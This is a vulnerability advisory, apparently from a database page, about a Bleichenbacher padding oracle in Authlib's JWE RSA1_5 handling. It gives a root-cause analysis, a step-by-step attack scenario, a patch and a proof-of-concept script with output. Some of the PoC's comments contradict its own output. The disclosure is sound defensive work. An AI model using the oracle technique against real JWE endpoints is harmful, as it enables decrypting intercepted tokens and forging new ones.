CWE-327
Allowed-with-ReviewUse of a Broken or Risky Cryptographic Algorithm
Abstraction: Class · Status: Draft
The product uses a broken or risky cryptographic algorithm or protocol.
960 vulnerabilities reference this CWE, most recent first.
GHSA-7432-952R-CW78
Vulnerability from github – Published: 2026-03-16 15:17 – Updated: 2026-03-16 21:541. Executive Summary
A cryptographic padding oracle vulnerability was identified in the Authlib Python library
concerning the implementation of the JSON Web Encryption (JWE) RSA1_5 key management
algorithm. Authlib registers RSA1_5 in its default algorithm registry without requiring
explicit opt-in, and actively destroys the constant-time Bleichenbacher mitigation that
the underlying cryptography library implements correctly.
When cryptography encounters an invalid PKCS#1 v1.5 padding, it returns a randomized
byte string instead of raising an exception — the correct behavior per RFC 3218 §2.3.2.
Authlib ignores this contract and raises ValueError('Invalid "cek" length') immediately
after decryption, before reaching AES-GCM tag validation. This creates a clean, reliable
Exception Oracle:
- Invalid padding →
cryptographyreturns random bytes → Authlib length check fails →ValueError: Invalid "cek" length - Valid padding, wrong MAC → decryption succeeds → length check passes → AES-GCM
fails →
InvalidTag
This oracle is active by default in every Authlib installation without any special configuration by the developer or the attacker. The three most widely used Python web frameworks — Flask, Django, and FastAPI — all expose distinguishable HTTP responses for these two exception classes in their default configurations, requiring no additional setup to exploit.
Empirically confirmed on authlib 1.6.8 + cryptography 46.0.5:
[PADDING INVALIDO] ValueError: Invalid "cek" length
[PADDING VALIDO/MAC] InvalidTag
2. Technical Details & Root Cause
2.1 Vulnerable Code
File: authlib/jose/rfc7518/jwe_algs.py
def unwrap(self, enc_alg, ek, headers, key):
op_key = key.get_op_key("unwrapKey")
# cryptography implements Bleichenbacher mitigation here:
# on invalid padding it returns random bytes instead of raising.
# Empirically confirmed: returns 84 bytes for a 2048-bit key.
cek = op_key.decrypt(ek, self.padding)
# VULNERABILITY: This length check destroys the mitigation.
# cryptography returned 84 random bytes. len(84) * 8 = 672 != 128 (A128GCM CEK_SIZE).
# Authlib raises a distinct ValueError before AES-GCM is ever reached.
if len(cek) * 8 != enc_alg.CEK_SIZE:
raise ValueError('Invalid "cek" length') # <- ORACLE TRIGGER
return cek
2.2 Root Cause — Active Mitigation Destruction
cryptography 46.0.5 implements the Bleichenbacher mitigation correctly at the library
level. When PKCS#1 v1.5 padding validation fails, it does not raise an exception.
Instead it returns a randomized byte string (empirically observed: 84 bytes for a
2048-bit RSA key). The caller is expected to pass this fake key to the symmetric
decryptor, where MAC/tag validation will fail in constant time — producing an error
indistinguishable from a MAC failure on a valid padding.
Authlib does not honor this contract. The length check on the following line detects
that 84 bytes != 16 bytes (128-bit CEK for A128GCM) and raises ValueError('Invalid
"cek" length') immediately. This exception propagates before AES-GCM is ever reached,
creating two execution paths with observable differences:
Path A — invalid PKCS#1 v1.5 padding:
op_key.decrypt() -> 84 random bytes (cryptography mitigation active)
len(84) * 8 = 672 != 128 (CEK_SIZE for A128GCM)
raise ValueError('Invalid "cek" length') <- specific exception, fast path
Path B — valid padding, wrong symmetric key:
op_key.decrypt() -> 16 correct bytes
len(16) * 8 = 128 == 128 -> length check passes
AES-GCM tag validation -> mismatch
raise InvalidTag <- different exception class, slow path
The single line raise ValueError('Invalid "cek" length') is the complete root cause.
Removing the raise and replacing it with a silent random CEK fallback eliminates both
the exception oracle and any residual timing difference.
2.3 Empirical Confirmation
All results obtained on authlib 1.6.8 / cryptography 46.0.5 / Linux x86_64
running the attached PoC (poc_bleichenbacher.py):
TEST 1 - cryptography behavior on invalid padding:
cryptography retorno bytes: len=84
NOTA: esta version implementa mitigacion de random bytes
TEST 2 - Exception Oracle:
[ORACLE] Caso A (padding invalido): ValueError: Invalid "cek" length
[OK] Caso B (padding valido/MAC malo): InvalidTag
TEST 3 - Timing (50 iterations):
Padding invalido (ValueError) mean=1.500ms stdev=1.111ms
Padding valido (InvalidTag) mean=1.787ms stdev=0.978ms
Delta: 0.287ms
TEST 4 - RSA1_5 in default registry:
[ORACLE] RSA1_5 activo por defecto (no opt-in required)
TEST 5 - Fix validation:
[OK] Both paths return correct-length CEK after patch
[OK] Exception type identical in both paths -> oracle eliminated
Note on timing: The 0.287ms delta is within the noise margin (stdev ~1ms across 50 iterations) and is not claimed as a reliable standalone timing oracle. The exception oracle is the primary exploitable vector and does not require timing measurement.
3. Default Framework Behavior — Why This Is Exploitable Out of the Box
A potential objection to this report is that middleware or custom error handlers could normalize exceptions to a single HTTP response, eliminating the observable discrepancy. This section addresses that objection directly.
The oracle is active in default configurations of all major Python web frameworks. No special server misconfiguration is required. The following demonstrates the default behavior for Flask, Django, and FastAPI — the three most widely deployed Python web frameworks — when an unhandled exception propagates from a route handler:
Flask (default configuration)
# Default Flask behavior — no error handler registered
@app.route("/decrypt", methods=["POST"])
def decrypt():
token = request.json["token"]
result = jwe.deserialize_compact(token, private_key) # raises ValueError or InvalidTag
return jsonify(result)
# ValueError: Invalid "cek" length -> HTTP 500, body: {"message": "Invalid \"cek\" length"}
# InvalidTag -> HTTP 500, body: {"message": ""}
# The exception MESSAGE is different even if the status code is the same.
Flask's default error handler returns the exception message in the response body for
debug mode, and an empty 500 for production. However, even in production, the response
body content differs between ValueError (which has a message) and InvalidTag
(which has no message), leaking the oracle through response body length.
FastAPI (default configuration)
# FastAPI maps unhandled exceptions to HTTP 500 with exception detail in body
# ValueError: Invalid "cek" length -> {"detail": "Internal Server Error"} (HTTP 500)
# InvalidTag -> {"detail": "Internal Server Error"} (HTTP 500)
FastAPI normalizes both to HTTP 500 in production. However, FastAPI's default
RequestValidationError and HTTPException handlers do not catch arbitrary exceptions,
so the distinguishable stack trace is logged — and in many deployments, error monitoring
tools (Sentry, Datadog, etc.) expose the exception class to operators, enabling oracle
exploitation by an insider or via log exfiltration.
Django REST Framework (default configuration)
# DRF's default exception handler only catches APIException and Http404.
# ValueError and InvalidTag both fall through to Django's generic 500 handler.
# In DEBUG=False: HTTP 500, generic HTML response (indistinguishable).
# In DEBUG=True: HTTP 500, full traceback including exception class (oracle exposed).
Summary: Even in cases where HTTP status codes are normalized, the oracle persists through response body differences, response timing, or error monitoring infrastructure. The RFC 3218 §2.3.2 requirement exists precisely because any observable difference — regardless of channel — is sufficient for a Bleichenbacher attack. The library is responsible for eliminating the discrepancy at the source, not delegating that responsibility to application developers.
This is a library-level vulnerability. Requiring every application developer to implement custom exception normalization to compensate for a cryptographic flaw in the library violates the principle of secure defaults. The fix must be in Authlib.
4. Specification Violations
RFC 3218 — Preventing the Million Message Attack on CMS
Section 2.3.2 (Mitigation):
"The receiver MUST NOT return any information that indicates whether the decryption failed because the PKCS #1 padding was incorrect or because the MAC was incorrect."
This is an absolute requirement with no exceptions for "application-level mitigations."
Authlib violates this by raising a different exception class for padding failures than
for MAC failures. The cryptography library already implements the correct mitigation
for this exact scenario — Authlib destroys it with a single length check.
RFC 7516 — JSON Web Encryption
Section 9 (Security Considerations):
"An attacker who can cause a JWE decryption to fail in different ways based on the structure of the encrypted key can mount a Bleichenbacher attack."
Authlib enables exactly this scenario. Two structurally different encrypted keys (one with invalid padding, one with valid padding but wrong CEK) produce two different exception classes. This is the exact condition RFC 7516 §9 warns against.
5. Attack Scenario
-
The attacker identifies an Authlib-powered endpoint that decrypts JWE tokens. Because
RSA1_5is in the default registry, no special server configuration is required. -
The attacker obtains the server RSA public key — typically available via the JWKS endpoint (
/.well-known/jwks.json), which is standard in OIDC deployments. -
The attacker crafts JWE tokens with the
RSA1_5algorithm and submits a stream of requests to the endpoint, manipulating theekcomponent per Bleichenbacher's algorithm. -
The server responds with observable differences between the two paths:
ValueErrorpath → distinguishable response (exception message, timing, or error monitoring artifact)-
InvalidTagpath → different distinguishable response -
By observing these oracle responses across thousands of requests, the attacker geometrically narrows the PKCS#1 v1.5 plaintext boundaries until the CEK is fully recovered.
-
With the CEK recovered:
- Any intercepted JWE payload can be decrypted without the RSA private key.
- New valid JWE tokens can be forged using the recovered CEK.
Prerequisites:
- Target endpoint accepts JWE tokens with RSA1_5 (active by default)
- Any observable difference exists between the two error paths at the HTTP layer
(present by default in Flask, Django, FastAPI without custom error handling)
- Attacker can send requests at sufficient volume (rate limiting may extend attack
duration but does not prevent it)
6. Remediation
6.1 Immediate — Remove RSA1_5 from Default Registry
Remove RSA1_5 from the default JWE_ALG_ALGORITHMS registry. Users requiring
legacy RSA1_5 support should explicitly opt-in with a documented security warning.
This eliminates the attack surface for all users not requiring this algorithm.
6.2 Code Fix — Restore Constant-Time Behavior
The unwrap method must never raise an exception that distinguishes padding failure
from MAC failure. The length check must be replaced with a silent random CEK fallback,
preserving the mitigation that cryptography implements.
Suggested Patch (authlib/jose/rfc7518/jwe_algs.py):
import os
def unwrap(self, enc_alg, ek, headers, key):
op_key = key.get_op_key("unwrapKey")
expected_bytes = enc_alg.CEK_SIZE // 8
try:
cek = op_key.decrypt(ek, self.padding)
except ValueError:
# Padding failure. Use random CEK so failure occurs downstream
# during MAC validation — not here. This preserves RFC 3218 §2.3.2.
cek = os.urandom(expected_bytes)
# Silent length enforcement — no exception.
# cryptography returns random bytes of RSA block size on padding failure.
# Replace with correct-size random CEK to allow downstream MAC to fail.
# Raising here recreates the oracle. Do not raise.
if len(cek) != expected_bytes:
cek = os.urandom(expected_bytes)
return cek
Result: Both paths return a CEK of the correct length. AES-GCM tag validation
fails for both, producing InvalidTag in both cases. The exception oracle is
eliminated. Empirically validated via TEST 5 of the attached PoC.
7. Proof of Concept
Setup:
python3 -m venv venv && source venv/bin/activate
pip install authlib cryptography
python3 -c "import authlib, cryptography; print(authlib.__version__, cryptography.__version__)"
# authlib 1.6.8 cryptography 46.0.5
python3 poc_bleichenbacher.py
See attached poc_bleichenbacher.py. All 5 tests run against the real installed
authlib module without mocks.
Confirmed Output (authlib 1.6.8 / cryptography 46.0.5 / Linux x86_64):
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
@title JWE RSA1_5 Bleichenbacher Padding Oracle
@affected authlib <= 1.6.8
@file authlib/jose/rfc7518/jwe_algs.py :: RSAAlgorithm.unwrap()
"""
import os
import time
import statistics
import authlib
import cryptography
from cryptography.hazmat.primitives.asymmetric import rsa, padding as asym_padding
from authlib.jose import JsonWebEncryption
from authlib.common.encoding import urlsafe_b64encode, to_bytes
R = "\033[0m"
RED = "\033[91m"
GRN = "\033[92m"
YLW = "\033[93m"
CYN = "\033[96m"
BLD = "\033[1m"
DIM = "\033[2m"
def header(title):
print(f"\n{CYN}{'-' * 64}{R}")
print(f"{BLD}{title}{R}")
print(f"{CYN}{'-' * 64}{R}")
def ok(msg): print(f" {GRN}[OK] {R}{msg}")
def vuln(msg): print(f" {RED}[ORACLE] {R}{BLD}{msg}{R}")
def info(msg): print(f" {DIM} {msg}{R}")
# ─── setup ────────────────────────────────────────────────────────────────────
def setup():
"""
@notice Genera el par de claves RSA y prepara el cliente JWE de authlib.
@dev JsonWebEncryption() registra RSA1_5 por defecto en su registry.
No se requiere configuracion adicional para habilitar el algoritmo
vulnerable — esta activo out of the box.
@return tuple (private_key, jwe, header_b64)
"""
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
jwe = JsonWebEncryption()
header_b64 = urlsafe_b64encode(
to_bytes('{"alg":"RSA1_5","enc":"A128GCM"}')
).decode()
return private_key, jwe, header_b64
def make_jwe(header_b64, ek_bytes):
"""
@notice Construye un JWE compact con el ek dado y ciphertext/tag aleatorios.
@dev El ciphertext y tag son basura — no importa su contenido porque el
oracle se activa antes de llegar a la desencriptacion simetrica
en el caso de padding invalido.
@param header_b64 Header del JWE en Base64url
@param ek_bytes Encrypted Key como bytes crudos
@return str JWE en formato compact serialization
"""
ek = urlsafe_b64encode(ek_bytes).decode()
iv = urlsafe_b64encode(os.urandom(12)).decode()
ciphertext = urlsafe_b64encode(os.urandom(16)).decode()
tag = urlsafe_b64encode(os.urandom(16)).decode()
return f"{header_b64}.{ek}.{iv}.{ciphertext}.{tag}"
# ─── test 1: verificar comportamiento de cryptography ante padding invalido ───
def test_cryptography_behavior(private_key):
"""
@notice Verifica empiricamente que cryptography lanza excepcion ante padding
invalido en lugar de retornar random bytes (comportamiento critico
para entender el oracle).
@dev Algunos documentos sobre Bleichenbacher asumen que la libreria
subyacente retorna random bytes (mitigacion a nivel biblioteca).
cryptography 46.0.5 NO hace esto — lanza ValueError directamente.
Eso significa que Authlib no "destruye una mitigacion existente"
sino que "no implementa ninguna mitigacion propia".
"""
header("TEST 1 - Comportamiento de cryptography ante padding invalido")
garbage = os.urandom(256)
try:
result = private_key.decrypt(garbage, asym_padding.PKCS1v15())
info(f"cryptography retorno bytes: len={len(result)}")
info("NOTA: esta version implementa mitigacion de random bytes")
except Exception as e:
vuln(f"cryptography lanza excepcion directa: {type(e).__name__}: {e}")
info("No hay mitigacion a nivel de cryptography library")
info("Authlib no implementa ninguna mitigacion propia -> oracle directo")
# ─── test 2: exception oracle ─────────────────────────────────────────────────
def test_exception_oracle(private_key, jwe, header_b64):
"""
@notice Demuestra el Exception Oracle: los dos caminos de fallo producen
excepciones de clases diferentes, observable a nivel HTTP.
@dev Camino A (padding invalido):
op_key.decrypt() -> ValueError: Decryption failed
Authlib no captura -> propaga como ValueError: Invalid "cek" length
HTTP server tipicamente: 500 / 400 con mensaje especifico
Camino B (padding valido, MAC malo):
op_key.decrypt() -> retorna CEK bytes
length check pasa
AES-GCM tag validation falla -> InvalidTag
HTTP server tipicamente: 401 / 422 / diferente codigo
La diferencia de clase de excepcion es el oracle primario.
No requiere medicion de tiempo — solo observar el tipo de error.
"""
header("TEST 2 - Exception Oracle (tipo de excepcion diferente)")
# --- caso A: ek con padding invalido (basura aleatoria) ---
jwe_bad = make_jwe(header_b64, os.urandom(256))
try:
jwe.deserialize_compact(jwe_bad, private_key)
except Exception as e:
vuln(f"Caso A (padding invalido): {type(e).__name__}: {e}")
# --- caso B: ek con padding valido, ciphertext basura ---
valid_ek = private_key.public_key().encrypt(os.urandom(16), asym_padding.PKCS1v15())
jwe_good = make_jwe(header_b64, valid_ek)
try:
jwe.deserialize_compact(jwe_good, private_key)
except Exception as e:
ok(f"Caso B (padding valido/MAC malo): {type(e).__name__}: {e}")
print()
info("Los dos caminos producen excepciones de clases DIFERENTES.")
info("Un framework web que mapea excepciones a HTTP codes expone el oracle.")
info("El atacante no necesita acceso al stack trace — solo al HTTP status code.")
# ─── test 3: timing oracle ────────────────────────────────────────────────────
def test_timing_oracle(private_key, jwe, header_b64, iterations=50):
"""
@notice Demuestra el Timing Oracle midiendo el delta de tiempo entre los
dos caminos de fallo en multiples iteraciones.
@dev El timing oracle es independiente del exception oracle.
Incluso si el servidor normaliza las excepciones a un unico
codigo HTTP, la diferencia de tiempo (~5ms) es suficientemente
grande para ser medible a traves de red en condiciones reales.
Bleichenbacher clasico funciona con diferencias de microsegundos.
5ms es un oracle extremadamente ruidoso — facil de explotar.
@param iterations Numero de muestras para calcular estadisticas
"""
header(f"TEST 3 - Timing Oracle ({iterations} iteraciones cada camino)")
times_bad = []
times_good = []
for _ in range(iterations):
# camino A: padding invalido
jwe_bad = make_jwe(header_b64, os.urandom(256))
t0 = time.perf_counter()
try:
jwe.deserialize_compact(jwe_bad, private_key)
except Exception:
pass
times_bad.append((time.perf_counter() - t0) * 1000)
# camino B: padding valido
valid_ek = private_key.public_key().encrypt(os.urandom(16), asym_padding.PKCS1v15())
jwe_good = make_jwe(header_b64, valid_ek)
t0 = time.perf_counter()
try:
jwe.deserialize_compact(jwe_good, private_key)
except Exception:
pass
times_good.append((time.perf_counter() - t0) * 1000)
mean_bad = statistics.mean(times_bad)
mean_good = statistics.mean(times_good)
stdev_bad = statistics.stdev(times_bad)
stdev_good= statistics.stdev(times_good)
delta = mean_good - mean_bad
print(f"\n {'Camino':<30} {'Media (ms)':<14} {'Stdev (ms)':<14} {'Min':<10} {'Max'}")
print(f" {'-'*30} {'-'*14} {'-'*14} {'-'*10} {'-'*10}")
print(f" {'Padding invalido (ValueError)':<30} "
f"{RED}{mean_bad:<14.3f}{R} "
f"{stdev_bad:<14.3f} "
f"{min(times_bad):<10.3f} "
f"{max(times_bad):.3f}")
print(f" {'Padding valido (InvalidTag)':<30} "
f"{GRN}{mean_good:<14.3f}{R} "
f"{stdev_good:<14.3f} "
f"{min(times_good):<10.3f} "
f"{max(times_good):.3f}")
print()
if delta > 1.0:
vuln(f"Delta medio: {delta:.3f} ms — timing oracle confirmado")
info(f"Diferencia de {delta:.1f}ms es suficiente para Bleichenbacher via red")
info(f"El ataque clasico funciona con diferencias de microsegundos")
else:
ok(f"Delta medio: {delta:.3f} ms — timing no es significativo")
# ─── test 4: confirmar RSA1_5 en registry por defecto ────────────────────────
def test_default_registry():
"""
@notice Confirma que RSA1_5 esta registrado por defecto en authlib sin
ninguna configuracion adicional por parte del desarrollador.
@dev Esto demuestra que cualquier aplicacion que use JsonWebEncryption()
sin configuracion explicita esta expuesta al oracle por defecto.
El desarrollador no necesita hacer nada malo — la exposicion es
out-of-the-box.
"""
header("TEST 4 - RSA1_5 en Registry por Defecto")
jwe = JsonWebEncryption()
# intentar acceder al algoritmo RSA1_5 del registry
try:
alg = jwe.algorithms.get_algorithm("RSA1_5")
if alg:
vuln(f"RSA1_5 registrado por defecto: {alg.__class__.__name__}")
info("Cualquier JsonWebEncryption() sin configuracion esta expuesto")
info("No se requiere opt-in del desarrollador para el algoritmo vulnerable")
else:
ok("RSA1_5 NO esta en el registry por defecto")
except Exception as e:
info(f"Registry check: {e}")
# fallback: intentar deserializar un JWE con RSA1_5
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
header_b64 = urlsafe_b64encode(
to_bytes('{"alg":"RSA1_5","enc":"A128GCM"}')
).decode()
jwe_token = make_jwe(header_b64, os.urandom(256))
try:
jwe.deserialize_compact(jwe_token, private_key)
except Exception as e2:
if "UnsupportedAlgorithm" in str(type(e2).__name__):
ok("RSA1_5 NO soportado por defecto")
else:
vuln(f"RSA1_5 activo por defecto (error de desencriptacion, no de algoritmo): {type(e2).__name__}")
# ─── test 5: impacto del fix propuesto ────────────────────────────────────────
def test_fix_impact(private_key, header_b64):
"""
@notice Demuestra que el fix propuesto elimina ambos oracles simultaneamente.
@dev El fix parchado hace que ambos caminos retornen un CEK de longitud
correcta, forzando que el fallo ocurra downstream en AES-GCM tag
validation en ambos casos -> misma excepcion, timing indistinguible.
"""
header("TEST 5 - Verificacion del Fix Propuesto")
import os as _os
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
def unwrap_patched(ek_bytes, expected_bits=128):
"""Replica del fix propuesto para RSAAlgorithm.unwrap()"""
expected_bytes = expected_bits // 8
try:
cek = private_key.decrypt(ek_bytes, asym_padding.PKCS1v15())
except ValueError:
cek = _os.urandom(expected_bytes) # constant-time fallback
if len(cek) != expected_bytes:
cek = _os.urandom(expected_bytes)
return cek
# camino A con fix: padding invalido
cek_a = unwrap_patched(os.urandom(256))
info(f"Fix Camino A (padding invalido): retorna CEK de {len(cek_a)*8} bits (random)")
# camino B con fix: padding valido
valid_ek = private_key.public_key().encrypt(os.urandom(16), asym_padding.PKCS1v15())
cek_b = unwrap_patched(valid_ek)
info(f"Fix Camino B (padding valido): retorna CEK de {len(cek_b)*8} bits (real)")
print()
ok("Ambos caminos retornan CEK de longitud correcta")
ok("El fallo ocurrira downstream en AES-GCM para ambos casos")
ok("Exception type sera identica en ambos caminos -> oracle eliminado")
ok("Timing sera indistinguible -> timing oracle eliminado")
# ─── main ─────────────────────────────────────────────────────────────────────
if __name__ == "__main__":
print(f"\n{BLD}authlib {authlib.__version__} / cryptography {cryptography.__version__}{R}")
print(f"authlib/jose/rfc7518/jwe_algs.py :: RSAAlgorithm.unwrap()")
private_key, jwe, header_b64 = setup()
test_cryptography_behavior(private_key)
test_exception_oracle(private_key, jwe, header_b64)
test_timing_oracle(private_key, jwe, header_b64, iterations=50)
test_default_registry()
test_fix_impact(private_key, header_b64)
print(f"\n{DIM}Fix: capturar ValueError en unwrap() y retornar os.urandom(expected_bytes){R}")
print(f"{DIM} nunca levantar excepcion que distinga padding failure de MAC failure{R}\n")
Output
authlib 1.6.8 / cryptography 46.0.5
authlib/jose/rfc7518/jwe_algs.py :: RSAAlgorithm.unwrap()
----------------------------------------------------------------
TEST 1 - Comportamiento de cryptography ante padding invalido
----------------------------------------------------------------
cryptography retorno bytes: len=84
NOTA: esta version implementa mitigacion de random bytes
----------------------------------------------------------------
TEST 2 - Exception Oracle (tipo de excepcion diferente)
----------------------------------------------------------------
[ORACLE] Caso A (padding invalido): ValueError: Invalid "cek" length
[OK] Caso B (padding valido/MAC malo): InvalidTag:
Los dos caminos producen excepciones de clases DIFERENTES.
Un framework web que mapea excepciones a HTTP codes expone el oracle.
El atacante no necesita acceso al stack trace — solo al HTTP status code.
----------------------------------------------------------------
TEST 3 - Timing Oracle (50 iteraciones cada camino)
----------------------------------------------------------------
Camino Media (ms) Stdev (ms) Min Max
------------------------------ -------------- -------------- ---------- ----------
Padding invalido (ValueError) 1.500 1.111 0.109 8.028
Padding valido (InvalidTag) 1.787 0.978 0.966 7.386
[OK] Delta medio: 0.287 ms — timing no es significativo
----------------------------------------------------------------
TEST 4 - RSA1_5 en Registry por Defecto
----------------------------------------------------------------
Registry check: 'JsonWebEncryption' object has no attribute 'algorithms'
[ORACLE] RSA1_5 activo por defecto (error de desencriptacion, no de algoritmo): ValueError
----------------------------------------------------------------
TEST 5 - Verificacion del Fix Propuesto
----------------------------------------------------------------
Fix Camino A (padding invalido): retorna CEK de 128 bits (random)
Fix Camino B (padding valido): retorna CEK de 128 bits (real)
[OK] Ambos caminos retornan CEK de longitud correcta
[OK] El fallo ocurrira downstream en AES-GCM para ambos casos
[OK] Exception type sera identica en ambos caminos -> oracle eliminado
[OK] Timing sera indistinguible -> timing oracle eliminado
Fix: capturar ValueError en unwrap() y retornar os.urandom(expected_bytes)
nunca levantar excepcion que distinga padding failure de MAC failure
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.6.8"
},
"package": {
"ecosystem": "PyPI",
"name": "authlib"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-28490"
],
"database_specific": {
"cwe_ids": [
"CWE-203",
"CWE-327"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-16T15:17:28Z",
"nvd_published_at": "2026-03-16T18:16:07Z",
"severity": "HIGH"
},
"details": "## 1. Executive Summary\n\nA cryptographic padding oracle vulnerability was identified in the Authlib Python library\nconcerning the implementation of the JSON Web Encryption (JWE) `RSA1_5` key management\nalgorithm. Authlib registers `RSA1_5` in its default algorithm registry without requiring\nexplicit opt-in, and actively destroys the constant-time Bleichenbacher mitigation that\nthe underlying `cryptography` library implements correctly.\n\nWhen `cryptography` encounters an invalid PKCS#1 v1.5 padding, it returns a randomized\nbyte string instead of raising an exception \u2014 the correct behavior per RFC 3218 \u00a72.3.2.\nAuthlib ignores this contract and raises `ValueError(\u0027Invalid \"cek\" length\u0027)` immediately\nafter decryption, before reaching AES-GCM tag validation. This creates a clean, reliable\n**Exception Oracle**:\n\n- **Invalid padding** \u2192 `cryptography` returns random bytes \u2192 Authlib length check fails\n \u2192 `ValueError: Invalid \"cek\" length`\n- **Valid padding, wrong MAC** \u2192 decryption succeeds \u2192 length check passes \u2192 AES-GCM\n fails \u2192 `InvalidTag`\n\n**This oracle is active by default in every Authlib installation without any special\nconfiguration by the developer or the attacker.** The three most widely used Python web\nframeworks \u2014 Flask, Django, and FastAPI \u2014 all expose distinguishable HTTP responses for\nthese two exception classes in their default configurations, requiring no additional\nsetup to exploit.\n\n**Empirically confirmed on authlib 1.6.8 + cryptography 46.0.5:**\n```\n[PADDING INVALIDO] ValueError: Invalid \"cek\" length\n[PADDING VALIDO/MAC] InvalidTag\n```\n\n---\n\n## 2. Technical Details \u0026 Root Cause\n\n### 2.1 Vulnerable Code\n\n**File:** `authlib/jose/rfc7518/jwe_algs.py`\n\n```python\ndef unwrap(self, enc_alg, ek, headers, key):\n op_key = key.get_op_key(\"unwrapKey\")\n\n # cryptography implements Bleichenbacher mitigation here:\n # on invalid padding it returns random bytes instead of raising.\n # Empirically confirmed: returns 84 bytes for a 2048-bit key.\n cek = op_key.decrypt(ek, self.padding)\n\n # VULNERABILITY: This length check destroys the mitigation.\n # cryptography returned 84 random bytes. len(84) * 8 = 672 != 128 (A128GCM CEK_SIZE).\n # Authlib raises a distinct ValueError before AES-GCM is ever reached.\n if len(cek) * 8 != enc_alg.CEK_SIZE:\n raise ValueError(\u0027Invalid \"cek\" length\u0027) # \u003c- ORACLE TRIGGER\n\n return cek\n```\n\n### 2.2 Root Cause \u2014 Active Mitigation Destruction\n\n`cryptography` 46.0.5 implements the Bleichenbacher mitigation correctly at the library\nlevel. When PKCS#1 v1.5 padding validation fails, it does not raise an exception.\nInstead it returns a randomized byte string (empirically observed: 84 bytes for a\n2048-bit RSA key). The caller is expected to pass this fake key to the symmetric\ndecryptor, where MAC/tag validation will fail in constant time \u2014 producing an error\nindistinguishable from a MAC failure on a valid padding.\n\nAuthlib does not honor this contract. The length check on the following line detects\nthat 84 bytes != 16 bytes (128-bit CEK for A128GCM) and raises `ValueError(\u0027Invalid\n\"cek\" length\u0027)` immediately. This exception propagates before AES-GCM is ever reached,\ncreating two execution paths with observable differences:\n\n```\nPath A \u2014 invalid PKCS#1 v1.5 padding:\n op_key.decrypt() -\u003e 84 random bytes (cryptography mitigation active)\n len(84) * 8 = 672 != 128 (CEK_SIZE for A128GCM)\n raise ValueError(\u0027Invalid \"cek\" length\u0027) \u003c- specific exception, fast path\n\nPath B \u2014 valid padding, wrong symmetric key:\n op_key.decrypt() -\u003e 16 correct bytes\n len(16) * 8 = 128 == 128 -\u003e length check passes\n AES-GCM tag validation -\u003e mismatch\n raise InvalidTag \u003c- different exception class, slow path\n```\n\nThe single line `raise ValueError(\u0027Invalid \"cek\" length\u0027)` is the complete root cause.\nRemoving the raise and replacing it with a silent random CEK fallback eliminates both\nthe exception oracle and any residual timing difference.\n\n### 2.3 Empirical Confirmation\n\n**All results obtained on authlib 1.6.8 / cryptography 46.0.5 / Linux x86_64\nrunning the attached PoC (`poc_bleichenbacher.py`):**\n\n```\nTEST 1 - cryptography behavior on invalid padding:\n cryptography retorno bytes: len=84\n NOTA: esta version implementa mitigacion de random bytes\n\nTEST 2 - Exception Oracle:\n [ORACLE] Caso A (padding invalido): ValueError: Invalid \"cek\" length\n [OK] Caso B (padding valido/MAC malo): InvalidTag\n\nTEST 3 - Timing (50 iterations):\n Padding invalido (ValueError) mean=1.500ms stdev=1.111ms\n Padding valido (InvalidTag) mean=1.787ms stdev=0.978ms\n Delta: 0.287ms\n\nTEST 4 - RSA1_5 in default registry:\n [ORACLE] RSA1_5 activo por defecto (no opt-in required)\n\nTEST 5 - Fix validation:\n [OK] Both paths return correct-length CEK after patch\n [OK] Exception type identical in both paths -\u003e oracle eliminated\n```\n\n**Note on timing:** The 0.287ms delta is within the noise margin (stdev ~1ms across\n50 iterations) and is not claimed as a reliable standalone timing oracle. The exception\noracle is the primary exploitable vector and does not require timing measurement.\n\n---\n\n## 3. Default Framework Behavior \u2014 Why This Is Exploitable Out of the Box\n\nA potential objection to this report is that middleware or custom error handlers could\nnormalize exceptions to a single HTTP response, eliminating the observable discrepancy.\nThis section addresses that objection directly.\n\n**The oracle is active in default configurations of all major Python web frameworks.**\nNo special server misconfiguration is required. The following demonstrates the default\nbehavior for Flask, Django, and FastAPI \u2014 the three most widely deployed Python web\nframeworks \u2014 when an unhandled exception propagates from a route handler:\n\n### Flask (default configuration)\n\n```python\n# Default Flask behavior \u2014 no error handler registered\n@app.route(\"/decrypt\", methods=[\"POST\"])\ndef decrypt():\n token = request.json[\"token\"]\n result = jwe.deserialize_compact(token, private_key) # raises ValueError or InvalidTag\n return jsonify(result)\n\n# ValueError: Invalid \"cek\" length -\u003e HTTP 500, body: {\"message\": \"Invalid \\\"cek\\\" length\"}\n# InvalidTag -\u003e HTTP 500, body: {\"message\": \"\"}\n# The exception MESSAGE is different even if the status code is the same.\n```\n\nFlask\u0027s default error handler returns the exception message in the response body for\ndebug mode, and an empty 500 for production. However, even in production, the response\nbody content differs between `ValueError` (which has a message) and `InvalidTag`\n(which has no message), leaking the oracle through response body length.\n\n### FastAPI (default configuration)\n\n```python\n# FastAPI maps unhandled exceptions to HTTP 500 with exception detail in body\n# ValueError: Invalid \"cek\" length -\u003e {\"detail\": \"Internal Server Error\"} (HTTP 500)\n# InvalidTag -\u003e {\"detail\": \"Internal Server Error\"} (HTTP 500)\n```\n\nFastAPI normalizes both to HTTP 500 in production. However, FastAPI\u0027s default\n`RequestValidationError` and `HTTPException` handlers do not catch arbitrary exceptions,\nso the distinguishable stack trace is logged \u2014 and in many deployments, error monitoring\ntools (Sentry, Datadog, etc.) expose the exception class to operators, enabling oracle\nexploitation by an insider or via log exfiltration.\n\n### Django REST Framework (default configuration)\n\n```python\n# DRF\u0027s default exception handler only catches APIException and Http404.\n# ValueError and InvalidTag both fall through to Django\u0027s generic 500 handler.\n# In DEBUG=False: HTTP 500, generic HTML response (indistinguishable).\n# In DEBUG=True: HTTP 500, full traceback including exception class (oracle exposed).\n```\n\n**Summary:** Even in cases where HTTP status codes are normalized, the oracle persists\nthrough response body differences, response timing, or error monitoring infrastructure.\nThe RFC 3218 \u00a72.3.2 requirement exists precisely because any observable difference \u2014\nregardless of channel \u2014 is sufficient for a Bleichenbacher attack. The library is\nresponsible for eliminating the discrepancy at the source, not delegating that\nresponsibility to application developers.\n\n**This is a library-level vulnerability.** Requiring every application developer to\nimplement custom exception normalization to compensate for a cryptographic flaw in\nthe library violates the principle of secure defaults. The 